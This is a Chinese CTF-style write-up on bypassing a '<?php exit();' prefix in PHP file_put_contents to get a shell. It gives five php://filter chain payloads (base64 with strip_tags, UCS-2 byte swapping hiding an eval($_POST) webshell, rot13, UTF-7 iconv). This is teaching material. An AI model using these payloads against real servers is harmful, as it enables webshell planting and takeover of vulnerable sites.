题目介绍
$filename=$_POST["filename"];
file_put_contents($filename, '<?php exit();'.$filename);
问如何getshell
-
思路一:
php://filter/convert.base64-encode|base64编码/resource=a.php
这个思路不行,因为这个是同一个变量
在php中,如果base64解码的过程中,遇到等号,后面还有内容,则返回空白(此情况仅限于写文件)
但是可以配个strip_tags使用,下文有介绍顺便说一下base64解码情况
base64解码只能是大小写字母和数字斜杠加号,其他字符会自动忽略,而且是以4位为一块
-
思路二:
<?php $a = 'php://filter/convert.iconv.UCS-2LE.UCS-2BE|?<hp pvela$(P_SO[T11)] ;>?/resource=a.php'; //echo $a; file_put_contents($a,"<?php exit();".$a); # 每两个字符前后交换 eval($_POST[11])
-
思路三:
php://filter/write=string.rot13|<?cuc rpub 555;?>/resource=a.php
但是如果开启了短标签,这样就不能使用,因为开头是
<?cuc
会导致语法错误
-
思路四:
两个变量
一个变量时:$filename = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=?>PD89cGhwaW5mbygpPz4g.php'; file_put_contents($filename,'<?php exit();'.$filename);
这儿主要用的思路就是将?>
闭合前面的<?php exit();
,然后用string_tags
除去,而且等号这些全部在闭合的php格式里面被出去了,这样就能正常解码了~~
-
思路五(
只能在linux中使用,windws无效
)
运用过滤器转换编码$a='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php'; #base64编码前补了AA,原理一样,补齐位数
我们看一下转码后的结果
UTF-8:php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode|AAPD9waHAgcGhwaW5mbygpOz8+/resource=Cyc1e.php 👇 UTF-7:php://filter/convert.iconv.utf-8.utf-7+AHw-convert.base64-decode+AHw-AAPD9waHAgcGhwaW5mbygpOz8+-/resource+AD0-Cyc1e.php
这样就成功的把 = 给转了,base64编码没有受到影响,一样可以正常的解码~
所以对于base64的运用,只要找到一个能把 = 转了同时又不影响base64编码后的字符的转码方式即可